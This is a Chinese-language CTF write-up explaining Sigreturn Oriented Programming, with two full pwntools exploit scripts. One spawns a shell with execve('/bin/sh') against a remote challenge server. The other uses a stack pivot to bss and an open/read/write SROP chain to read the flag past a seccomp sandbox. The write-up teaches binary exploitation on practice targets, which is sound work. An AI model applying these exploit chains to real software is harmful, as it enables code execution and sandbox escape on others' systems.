这次第六届安洵杯有两道和srop相关的题目,正好对所学的SROP知识做个总结
SROP,全称为Sigreturn Oriented Programming,主要触发原理为sigreturn
这个系统调用,这个系统调用一般是程序在发生 signal 的时候被间接地调用
来源于ctfwiki:SROP
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
看完原理之后我们可以发现,sigreturn
系统调用会将进程恢复为之前"保存的",也就是从栈中pop回到各寄存器,在执行sigreturn
系统调用期间,我们对栈中的值是可以任意读写的,而且由于内核与信号处理程序无关, signal
对应的各个寄存器值并不会被记录,那么,只要我们能够劫持栈中的数据,伪造一个 Signal Frame
,那么就可以控制任意寄存器的值
当我们可以控制任意寄存器的值时,只要程序中的数据满足条件我们便可以利用SROP来获取shell
通过对ROP攻击的学习我们知道,获取shell实际上就是执行了系统调用 execve("/bin/sh",0,0),那么有没有可能通过控制寄存器来执行这个系统调用?答案是肯定的。
获取shell需要满足以下条件:
sigreturn
系统调用函数的调用号具体SROP操作如下
通过栈溢出劫持返回地址,构造SROP
控制rax寄存器为sigreturn
的系统调用号
执行syscall进入sigreturn
系统调用
控制栈布局,使sigreturn
系统调用结束后的pop指令能够准确控制各个寄存器成我们想要的值
例如获取shell的各寄存器控制:
rax —>59(execve的系统调用号)
rdi —> '/bin/sh'
rsi —> 0
rdx —>0
rip —> syscall
此时再继续向下调用时就可以执行execve("/bin/sh",0,0)了
当然,SROP并不是只能够调用一次,只要栈布局合理并且知道一些关键数据,我们便可以执行一串SROP链
例如,当程序开启了沙箱保护时
我们需要利用open,read,write三次调用
便可进行如下构造
这样通过对rsp的设置可以保证srop链依次进行调用
pwntools集成了有关SROP链的构造函数 SigreturnFrame()
工具构造和利用如下:
frame = SigreturnFrame()
frame.rax =
frame.rdi =
frame.rsi =
frame.rdx =
frame.rcx =
frame.rip =
frame.rsp =
用与参与栈布局的构造
在payload构造中利用bytes(frame)包裹即可
在程序中有两种syscall:
一种是syscall函数,在ida中以以下类似汇编代码出现:
.text:00000000004013F7 48 8D 45 E0 lea rax, [rbp+var_20]
.text:00000000004013FB B9 18 00 00 00 mov ecx, 18h
.text:0000000000401400 48 89 C2 mov rdx, rax
.text:0000000000401403 BE 01 00 00 00 mov esi, 1
.text:0000000000401408 BF 01 00 00 00 mov edi, 1
.text:000000000040140D B8 00 00 00 00 mov eax, 0
.text:0000000000401412 E8 49 FC FF FF call _syscall
也能在ida中找到其plt表
另一种是以syscall的机器码形式出现的:
.text:00000000004011DC 48 31 C0 xor rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ; count
.text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004011EB 48 89 C7 mov rdi, rax ; fd
.text:00000000004011EE 0F 05 syscall
一般以sys_read、sys_write等伪c代码形式出现
这两种syscall形式会导致构造的方式不同
具体在于以syscall函数形式出现的syscall
其调用过程如下:
由于syscall函数调用需要遵循寄存器传参条件,所以在syscall函数调用中会将寄存器重新赋值,那么在工具函数 SigreturnFrame()
构造时便需要根据传参规则改变调用规则
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[16]; // [rsp+0h] [rbp-10h] BYREF return sys_read(0, buf, 0x200uLL); }
非常直白的一道题
给了对应的gadget
.text:0000000000401131 ; __unwind {
.text:0000000000401131 F3 0F 1E FA endbr64
.text:0000000000401135 55 push rbp
.text:0000000000401136 48 89 E5 mov rbp, rsp
.text:0000000000401139 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:0000000000401140 C3
直接的SROP构造即可
from pwn import * elf = ELF("./pwn") io = remote('101.132.112.252',30573) #io = process('./pwn') context(log_level = 'debug', os = 'linux', arch = 'amd64') def dbg(): gdb.attach(io) pause() syscall_ret=0x401127 ret=0x4000FE data=0x404028 pop_rax=0x401139 #gdb.attach(io,'b 0x0000000004000FE') sigframe = SigreturnFrame() sigframe.rax = 0 sigframe.rdi = 0 sigframe.rdx = 0x400 sigframe.rsi = data sigframe.rsp = data+8 sigframe.rip = syscall_ret payload=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe)# io.send(payload) #dbg() sigframe1 = SigreturnFrame() sigframe1.rax = 59 sigframe1.rdi = data sigframe1.rsi = 0 sigframe1.rdx = 0 sigframe1.rsp = 0 sigframe1.rip = syscall_ret payload1=b'/bin/sh\x00'+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe1) io.sendline(payload1) io.interactive()
payload=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe)
因为程序中没有sh字符串,那么我们就需要构造一个read来写一段/bin/sh字符串到程序中,并在后面继续执行下一段srop链
然后rsp位置设置成了一个bss段的地址,实际上是产生了一个类似于栈迁移的效果,使rsp到对应位置继续向下执行代码
payload1=b'/bin/sh\x00'+p64(pop_rax)+p64(syscall_ret)+bytes(sigframe1)
那么实际上data+8恰好就是输入后p64(poprax)的位置
接着执行下去即可getshell
__int64 sub_40136E() { char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF v2[0] = 0x6F6E6B2075206F44LL; v2[1] = 0x6920746168772077LL; v2[2] = 0xA3F444955532073LL; strcpy(v1, "easyhack\n"); syscall(1LL, 1LL, v1, 9LL); syscall(0LL, 0LL, &unk_404060, 4096LL); syscall(1LL, 1LL, v2, 24LL); syscall(0LL, 0LL, v1, 58LL); return 0LL; }
还开了沙箱
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0011
0009: 0x15 0x01 0x00 0x0000005a if (A == chmod) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
orw都有
而且两种syscall都有
.plt:0000000000401060 FF 25 6A 2F 00 00 jmp cs:syscall_ptr
.plt:0000000000401060
.plt:0000000000401060 _syscall endp
.text:0000000000401186 55 push rbp
.text:0000000000401187 48 89 E5 mov rbp, rsp
.text:000000000040118A 0F 05 syscall
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(0LL, 0LL, v1, 58LL);
可以看到有两段输入,一段在bss段上,大小为0x1000,另一段在栈上,溢出了0x10字节
输入长度不够如何构造srop?
此时我们便可以用这个0x10字节溢出来实现栈迁移,将栈迁移到bss段上后第一段读入就可以实现一个非常大的数据读入,足够进行三段SROP链的构造了
程序中也给了rax的赋值
.text:000000000040118F 55 push rbp
.text:0000000000401190 48 89 E5 mov rbp, rsp
.text:0000000000401193 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040119A C3 retn
io.sendafter('easyhack\n','0') io.sendafter('SUID?\n',b'\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417)) io.send(b'\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417)) io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e))
首先是一个经典0x10字节的栈迁移过程,不了解的师傅可以看看这篇文章:栈迁移详解 - 先知社区 (aliyun.com)
这里不多赘述
接下来就是SROP链的构造:
payload = b'./flag\x00\x00'.ljust(0x30, b'\x00') frame = SigreturnFrame() frame.rdi = constants.SYS_open frame.rsi = 0x404060 frame.rdx = 0 frame.rcx = 0 frame.rip = syscall frame.rsp = 0x404198 payload += p64(rax_15)+p64(syscall2)+bytes(frame) frame = SigreturnFrame() frame.rdi = constants.SYS_read frame.rsi = 3 frame.rdx = elf.bss()+0x500 frame.rcx = 0x50 frame.rip = syscall frame.rsp = 0x4042a0 payload+=p64(rax_15)+p64(syscall2)+bytes(frame) frame = SigreturnFrame() frame.rdi = constants.SYS_write frame.rsi = 1 frame.rdx = elf.bss()+0x500 frame.rcx = 0x50 frame.rip = syscall frame.rsp = 0 payload += p64(rax_15)+p64(syscall2)+bytes(frame)
三段式的构造,open,read,write,将flag字符串和垃圾数据放在一起构造栈溢出
然后就是rax—>15,syscall,frame
重点是rsp位置需要通过调试来确定运行地址
使rsp恰好落在下一段SROP链的起始点,一段接着一段执行
完整exp:
from pwn import* io = process('./chall2') #io = remote('47.108.206.43',37272) context.log_level='debug' context(os='linux', arch='amd64') elf = ELF('./chall2') syscall2=0x40118A syscall=0x401060 rax_15 = 0x401193 main = 0x40136e io.sendafter('easyhack\n','0') io.sendafter('SUID?\n',b'\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417)) io.send(b'\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417)) io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e)) payload = b'./flag\x00\x00'.ljust(0x30, b'\x00') frame = SigreturnFrame() frame.rdi = constants.SYS_open frame.rsi = 0x404060 frame.rdx = 0 frame.rcx = 0 frame.rip = syscall frame.rsp = 0x404198 payload += p64(rax_15)+p64(syscall2)+bytes(frame) frame = SigreturnFrame() frame.rdi = constants.SYS_read frame.rsi = 3 frame.rdx = elf.bss()+0x500 frame.rcx = 0x50 frame.rip = syscall frame.rsp = 0x4042a0 payload+=p64(rax_15)+p64(syscall2)+bytes(frame) frame = SigreturnFrame() frame.rdi = constants.SYS_write frame.rsi = 1 frame.rdx = elf.bss()+0x500 frame.rcx = 0x50 frame.rip = syscall frame.rsp = 0x404088 payload += p64(rax_15)+p64(syscall2)+bytes(frame) io.sendafter('easyhack\n',payload) io.send('a') io.interactive()